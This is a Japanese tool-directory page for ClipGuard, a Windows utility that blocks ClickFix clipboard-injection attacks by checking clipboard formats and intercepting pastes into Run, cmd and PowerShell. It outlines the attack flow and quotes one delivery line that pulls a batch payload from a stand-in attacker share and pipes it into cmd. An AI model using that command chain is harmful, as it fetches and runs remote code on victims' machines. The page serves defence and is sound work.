Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ClipGuard — クリップボードの書式設定と実行面チェックを利用して、クリックフィックス攻撃を阻止するために設計された軽量ツール。 | Kitploit
ツール/GitHubGitHub/certainlyp/clipguard
防御ツールフィッシングツールソーシャルエンジニアリング論文と研究学習と教育アンチボット
GitHubcertainlyp/clipguard

ClipGuard

クリップボードの書式設定と実行面チェックを利用して、クリックフィックス攻撃を阻止するために設計された軽量ツール。

リポジトリを見る
124ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ClipGuard

Windows 上での ClickFix クリップボードインジェクション攻撃のリアルタイム検出。

ClipGuard はクリップボードのアクティビティを監視し、不審なペースト操作が実行される前にインターセプトします。特に ClickFix 手法(偽の確認ページでユーザーを騙し、悪意あるコマンドを貼り付けさせる攻撃)を標的としています。

問題

ClickFix 攻撃は次のように動作します。

  1. 被害者が偽の CAPTCHA や確認プロンプトを表示するページにアクセスする
  2. JavaScript が悪意のあるコマンド(通常は PowerShell)をクリップボードにサイレントコピーする
  3. ページがユーザーに Win+R を押し、Ctrl+V で貼り付け、Enter を押すよう指示する
  4. ユーザーは知らずにペイロードを実行してしまい、従来のセキュリティ制御を回避する

重要なポイント: JavaScript が navigator.clipboard.writeText() 経由でクリップボードに書き込む場合、クリップボードには CF_UNICODETEXT のみが含まれます。一方、ユーザーが手動でテキストを選択・コピーすると、ブラウザは CF_UNICODETEXT と CF_HTML の両方をクリップボードに置きます。ClipGuard はこの形式の違いを主要な検出シグナルの一つとして利用します。

仕組み

ClipGuard はシステムトレイで動作し、複数の検出メカニズムを重ね合わせます。

  1. クリップボードの発信元追跡 — WM_CLIPBOARDUPDATE メッセージをリッスンし、すべてのクリップボード変更について、発信元プロセス、クリップボード形式(CF_HTML の有無)、コンテンツ長、内容のプレビューを記録します。

  2. 実行サーフェスの検出 — フォアグラウンドウィンドウが実行サーフェス(Run ダイアログ、cmd.exe、powershell.exe、pwsh.exe、Windows Terminal)であるかどうかを識別します。

  3. キーボードフック(Ctrl+V インターセプト) — 低レベルキーボードフック(WH_KEYBOARD_LL)で Ctrl+V キーストロークをインターセプトします。実行サーフェスにペーストが試みられ、クリップボードの内容がブラウザ由来の場合、ClipGuard が脅威を評価します。

  4. 形式に基づく判定 — クリップボードの内容がブラウザ由来でテキストのみ(CF_HTML がない)場合、不審とフラグを立てます。これは JavaScript によるクリップボード書き込み(ユーザーによるコピーではない)を示唆します。ペーストはブロックされ、ユーザーはクリップボード内容を確認した上で許可またはブロックを選択するアラートを表示します。

デモ

image

検出ロジック

root@kitploit:~
クリップボードがブラウザによって更新されたか?
  ─ YES: ユーザーが実行サーフェスに Ctrl+V で貼り付け?
       ─ YES: クリップボードに CF_HTML なし(CF_UNICODETEXT のみ)?
            ─ YES: BLOCK — ClickFix の疑いあり(JS クリップボード書き込み)
            ─ NO:  厳格モードオン?
                 ─ YES: WARN — ユーザーコピーだが、実行サーフェスに貼り付けられようとしている
                 ─ NO:  ALLOW

対応実行サーフェス

  • Run ダイアログ(Win+R)— ウィンドウクラス #32770 + explorer.exe 下の ComboBox 子コントロールで検出
  • cmd.exe — プロセス名一致
  • powershell.exe / pwsh.exe — プロセス名一致
  • Windows Terminal(wt.exe)— プロセス名一致

監視対象ブラウザ

Edge、Chrome、Firefox、Brave、Opera、Vivaldi、Chromium、Arc

インストール

前提条件:

  • Windows 10/11
  • .NET 8.0 ランタイム(https://dotnet.microsoft.com/download/dotnet/8.0)
  • 管理者として実行(低レベルキーボードフックに必要)

ソースからビルド:

root@kitploit:~
git clone https://github.com/CertainlyP/ClipGuard.git
cd ClipGuard
dotnet build -c Release

または Releases ページからコンパイル済みバイナリをダウンロードしてください。

使い方

  1. ClipGuard.exe を管理者として実行します
  2. ClipGuard がシステムトレイに緑色のシールドアイコンで表示されます
  3. トレイアイコンを右クリックしてオプションを表示: ステータス、ログを開く、厳格モード、終了

不審なペーストが検出されると、ClipGuard はクリップボード内容のプレビュー、発信元プロセスと PID、クリップボード形式分析、ペーストをブロックまたは許可するオプションを含むアラートを表示します。

ログは %APPDATA%\ClipGuard\shield.log に出力されます。

制限事項

  • キーボードフックに管理者権限が必要
  • 実行をブロックするのではなく、ペーストをインターセプトして警告する
  • 正当なサイト(GitHub のコードブロックなど)のコピーボタンも JS クリップボード書き込みを使用するため、アラートが発生します(設計上、ユーザーがターミナルに貼り付ける前に確認すべきであるため)
  • 現在のところ、Win+R 後に手動で入力するケースは監視していません(Ctrl+V ペーストのみ)

研究

本ツールは ClickFix 攻撃のメカニズムに関する独自研究に基づいています。

  • クリップボード形式メタデータを検出シグナルとして活用 — CF_HTML の有無でユーザーコピーと JavaScript の navigator.clipboard.writeText() 呼び出しを区別
  • WebDAV ベースの ClickFix 配信チェーン — pushd \\attacker\share + type payload.bat | cmd バリアント
  • 実行サーフェスのフィンガープリンティング — プログラムによる Run ダイアログの識別(ウィンドウクラスと子コントロールの列挙)

ライセンス

MIT

ツールをダウンロード